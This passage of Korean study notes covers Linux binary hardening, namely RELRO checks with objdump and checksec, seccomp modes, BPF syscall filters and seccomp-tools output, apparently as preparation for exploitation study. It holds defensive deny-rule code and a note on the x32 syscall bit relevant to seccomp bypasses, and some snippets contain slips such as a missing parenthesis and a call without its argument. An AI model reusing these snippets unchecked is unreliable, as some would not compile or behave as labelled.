    7ffcf0d18000-7ffcf0d1a000 r-xp 00000000 00:00 0                          [vdso]
    
  1. 생성한 실행파일을 objdump -h 명령어를 사용해 section header를 확인한다.
  • section header의 VMA에 해당하는 부분이 메모리의 offset이다. (3)에서 찾은 메모리 시작주소에 offset을 더하면 실제 메모리 주소를 확인할 수 있다.
  • ex) .plt 의 메모리 주소는 0x561210c55000 + 0x0000000000002020 = 0x561210C57020 가 된다.
    /usr/bin/cat:     file format elf64-x86-64
    
    Sections:
    Idx Name          Size      VMA               LMA               File off  Algn
    0 .interp       0000001c  0000000000000318  0000000000000318  00000318  2**0
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    1 .note.gnu.property 00000020  0000000000000338  0000000000000338  00000338  2**3
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    2 .note.gnu.build-id 00000024  0000000000000358  0000000000000358  00000358  2**2
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    3 .note.ABI-tag 00000020  000000000000037c  000000000000037c  0000037c  2**2
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    4 .gnu.hash     0000006c  00000000000003a0  00000000000003a0  000003a0  2**3
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    5 .dynsym       00000690  0000000000000410  0000000000000410  00000410  2**3
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    6 .dynstr       0000033d  0000000000000aa0  0000000000000aa0  00000aa0  2**0
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    7 .gnu.version  0000008c  0000000000000dde  0000000000000dde  00000dde  2**1
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    8 .gnu.version_r 00000060  0000000000000e70  0000000000000e70  00000e70  2**3
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    9 .rela.dyn     00000378  0000000000000ed0  0000000000000ed0  00000ed0  2**3
                    CONTENTS, ALLOC, LOAD, READONLY, DATA
    10 .rela.plt     00000498  0000000000001248  0000000000001248  00001248  2**3
                      CONTENTS, ALLOC, LOAD, READONLY, DATA
    11 .init         0000001b  0000000000002000  0000000000002000  00002000  2**2
                      CONTENTS, ALLOC, LOAD, READONLY, CODE
    12 .plt          00000320  0000000000002020  0000000000002020  00002020  2**4
                      CONTENTS, ALLOC, LOAD, READONLY, CODE
    13 .plt.got      00000010  0000000000002340  0000000000002340  00002340  2**4
                      CONTENTS, ALLOC, LOAD, READONLY, CODE
    14 .plt.sec      00000310  0000000000002350  0000000000002350  00002350  2**4
                      CONTENTS, ALLOC, LOAD, READONLY, CODE
    15 .text         00003dc2  0000000000002660  0000000000002660  00002660  2**4
                      CONTENTS, ALLOC, LOAD, READONLY, CODE
    16 .fini         0000000d  0000000000006424  0000000000006424  00006424  2**2
                      CONTENTS, ALLOC, LOAD, READONLY, CODE
    17 .rodata       0000122c  0000000000007000  0000000000007000  00007000  2**5
                      CONTENTS, ALLOC, LOAD, READONLY, DATA
    18 .eh_frame_hdr 000002bc  000000000000822c  000000000000822c  0000822c  2**2
                      CONTENTS, ALLOC, LOAD, READONLY, DATA
    19 .eh_frame     00000ce8  00000000000084e8  00000000000084e8  000084e8  2**3
                      CONTENTS, ALLOC, LOAD, READONLY, DATA
    20 .init_array   00000008  000000000000aa90  000000000000aa90  00009a90  2**3
                      CONTENTS, ALLOC, LOAD, DATA
    21 .fini_array   00000008  000000000000aa98  000000000000aa98  00009a98  2**3
                      CONTENTS, ALLOC, LOAD, DATA
    22 .data.rel.ro  00000198  000000000000aaa0  000000000000aaa0  00009aa0  2**5
                      CONTENTS, ALLOC, LOAD, DATA
    23 .dynamic      000001f0  000000000000ac38  000000000000ac38  00009c38  2**3
                      CONTENTS, ALLOC, LOAD, DATA
    24 .got          000001c8  000000000000ae28  000000000000ae28  00009e28  2**3
                      CONTENTS, ALLOC, LOAD, DATA
    25 .data         000000c0  000000000000b000  000000000000b000  0000a000  2**5
                      CONTENTS, ALLOC, LOAD, DATA
    26 .bss          00000198  000000000000b0c0  000000000000b0c0  0000a0c0  2**5
                      ALLOC
    27 .gnu_debuglink 00000034  0000000000000000  0000000000000000  0000a0c0  2**2
                      CONTENTS, READONLY
    
  1. (4)에서 확인한 메모리 주소가 (3)에서 출력한 메모리 주소별 권한을 대조하여, 해당 영역의 권한을 확인할 수 있다.
  • .plt 영역인 0x561210C57020561210c57000-561210c5c000 r-xp 00002000 08:20 1773 /usr/bin/cat 라인에 해당하며, 읽기/실행 권한이 있고, 쓰기 권한은 부여되지 않은 것이 확인된다.
  • RELRO가 적용되어 .fini_array.init_array 영역은 쓰기 권한이 없는 것이 확인된다.
  • checksec 명령으로 확인 결과 Full RELRO가 적용된 것이 확인된다.
    checksec /usr/bin/cat
    [*] '/usr/bin/cat'
      Arch:     amd64-64-little
      RELRO:    Full RELRO
      Stack:    Canary found
      NX:       NX enabled
      PIE:      PIE enabled
      FORTIFY:  Enabled
    

Sandbox

  • 외부와 내부의 환경을 분리하여 외부로부터 시스템을 격리 보호하는 기법으로, Allow List / Deny List 를 통해 필요한 시스템 콜 혹은 파일 접근 권한만 허용하여 외부 공격을 최소화 한다.

SECCOMP

  • 리눅스 커널에서 샌드박스 매커니즘을 제공하는 보안 기능으로, SECure COMPuting mode 를 축약한 단어이다.
  • 허가되지 않은 시스템 콜을 어플리케이션에서 호출 할 경우, SECCOMP는 즉시 어플리케이션을 종료시킨다.
  • SECCOMP는 두 가지 모드로 동작을 설정 할 수 있다.
  1. SECCOMP_MODE_STRICT
  • read , write , exit , sigreturn 만 호출이 가능한 모드
  • 이외의 시스템 콜이 호출되면 SIGKILL 시그널을 발생시킨다.
  1. SECCOMP_MODE_FILTER
  • 원하는 시스템 콜을 필터에 넣고 관리 할 수 있는 모드
  • Linux 시스템콜 index 참조
  • seccomp 라이브러리를 활용할 시, seccomp-tools 로 검사하면 시스템콜의 번호가 0x40000000 보다 작은지 검사하는 로직이 검출된다는 특징이 있다.
    • ex) 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
    • x86-64 ABI(Application Binary Interface) 는 x32 ABI 를 호환할 수 있지만, 두 ABI 는 엄연히 다르고 x86-64 ABI 인지 x32 ABI 인지를 구분짓기 위해 0x40000000 과 비교대소를 수행한다.
    • x86-64 에서 시스템 콜을 호출하는 함수인 do_syscall_64 는 x86-64의 시스템 콜 호출에 실패하면 x32 시스템 콜 호출을 시도하도록 작성되어 있다.
    • x32 시스템콜은 x86-64 시스템 콜에 __X32_SYSCALL_BIT 를 더한 값으로 지정되어 있으며, __X32_SYSCALL_BIT 의 값이 바로 0x40000000 이다.
설치 및 사용
  • apt를 이용한 설치 : apt install libseccomp-dev libseccomp2 seccomp
  • 사용 방법:
    #include <linux/seccomp.h>
    ...
    
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);  // STRICT 모드로 동작
    
    #include <linux/seccomp.h>
    ...
    // filter mode 로 동작
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);  // 시스템 콜 호출시 발생할 이벤트 함수 설정. SCMP_ACT_KILL 은 따로 정의하지 않은 모든 시스템 콜에 대해 default 로 SIGKILL 반환한다는 뜻
    // seccomp_init(SCMP_ACT_ALLOW) 는 반대로 따로 정의하지 않은 모든 시스템 콜에 대해 default 로 실행을 허가한다는 뜻
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);  // 규칙 추가. 'rt_sigreturn' 시스템 콜 허용
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);  // 규칙 추가. 'open' 시스템 콜 금지
    seccomp_load();  // 위에서 반영한 규칙들 적용
    
  • strict mode 에서는 system call 호출시 __secure_computing_strict() 함수가 호출되고, __NR_seccomp_read, __NR_seccomp_write, __NR_seccomp_exit, __NR_seccomp_sigreturn 가 아닌 system call 이 호출되었다면 SIGKILL 을 발생시키고 SECCOMP_RET_KILL 을 반환한다.
  • BPF (Berkeley Packet Filter) : 커널에서 지원하는 VM으로, 데이터를 비교하고 결과에 따라 특정 구문으로 분기하도록 설정 할 수 있어 네트워크 패킷을 분석하고 필터링 하는 용도로 주로 사용하였으나, 특정 시스템 콜 호출 시 수행 될 동작을 결정하는 용도롤도 사용이 가능하다.
    • 명령어 조합 및 매크로를 사용하여 동작 구문을 작성 할 수 있다.
      • 명령어:
        • BPF_LD: 인자로 전달된 값 복사
        • BPF_JMP: 지정한 분기로 이동
        • BPF_JEQ: 비교 값이 참일 경우 지정한 위치로 이동
        • BPF_RET: 인자로 전달된 값 반환
      • 매크로:
        • BPF_STMT
        • BPF_JUMP
      • 사용 예시:
        BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr)  // 매크로를 활용해 쉽게 명령어 실행
        BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0)  // argv[1], argv[2] 비교 결과에 따라 특정 offset(argv[3] or argv[4]) 로 분기
        
        • 아키텍처 검사:
        // X86_64라면 다음 코드로 분기하고, 다른 아키텍처라면 SECCOMP_RET_KILL을 반환
        #define arch_nr (offsetof(struct seccomp_data, arch))
        #define ARCH_NR AUDIT_ARCH_X86_64
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        
        • 시스템콜 검사:
        // ALLOW_SYSCALL 로 허가된 SYSTEM CALLL 외에는 SIGKILL 반환하며 시스템 종료
        #define ALLOW_SYSCALL(name) \
          BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
          BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW
        
        #define KILL_PROCESS \
          BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
        
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        ALLOW_SYSCALL(rt_sigreturn),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(exit_group),
        KILL_PROCESS,
        
        • pctrl 설정 후 BPF로 시스템 콜 필터링
        #include <fcntl.h>
        #include <linux/audit.h>
        #include <linux/filter.h>
        #include <linux/seccomp.h>
        #include <linux/unistd.h>
        #include <stddef.h>
        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/mman.h>
        #include <sys/prctl.h>
        #include <unistd.h>
        #define DENY_SYSCALL(name)                                \
          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
              BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
        #define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
        #define syscall_nr (offsetof(struct seccomp_data, nr))
        #define arch_nr (offsetof(struct seccomp_data, arch))
        /* architecture x86_64 */
        #define ARCH_NR AUDIT_ARCH_X86_64
        int sandbox() {
          struct sock_filter filter[] = {
              /* Validate architecture. */
              BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
              BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
              BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
              /* Get system call number. */
              BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
              /* List allowed syscalls. */
              DENY_SYSCALL(open),
              DENY_SYSCALL(openat),
              MAINTAIN_PROCESS,
          };
          struct sock_fprog prog = {
              .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
              .filter = filter,
          };
          if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
            perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
            return -1;
          }
          if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
            perror("Seccomp filter error\n");
            return -1;
          }
          return 0;
        }
        int main(int argc, char* argv[]) {
          char buf[256];
          int fd;
          memset(buf, 0, sizeof(buf));
          sandbox();
          fd = open("/bin/sh", O_RDONLY);
          read(fd, buf, sizeof(buf) - 1);
          write(1, buf, sizeof(buf));
          return 0;
        }
        
seccomp-tools
  • SECCOMP 및 BPF가 적용된 코드를 분석하기 쉽게 하는 도구
  • 설치방법:
    sudo apt install gcc ruby-dev
    sudo gem install seccomp-tools
    
  • seccomp-tools git 주소
  • 사용방법
    • seccomp-tools dump FILE_NAME : FILE_NAME 에 대한 seccomp 분석 결과 확인
      • 예시
         line  CODE  JT   JF      K
         =================================
         0000: 0x20 0x00 0x00 0x00000004  A = arch
         0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
         0002: 0x20 0x00 0x00 0x00000000  A = sys_number
         0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
         0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
         0005: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0010
         0006: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0010
         0007: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0010
         0008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0010
         0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
         0010: 0x06 0x00 0x00 0x00000000  return KILL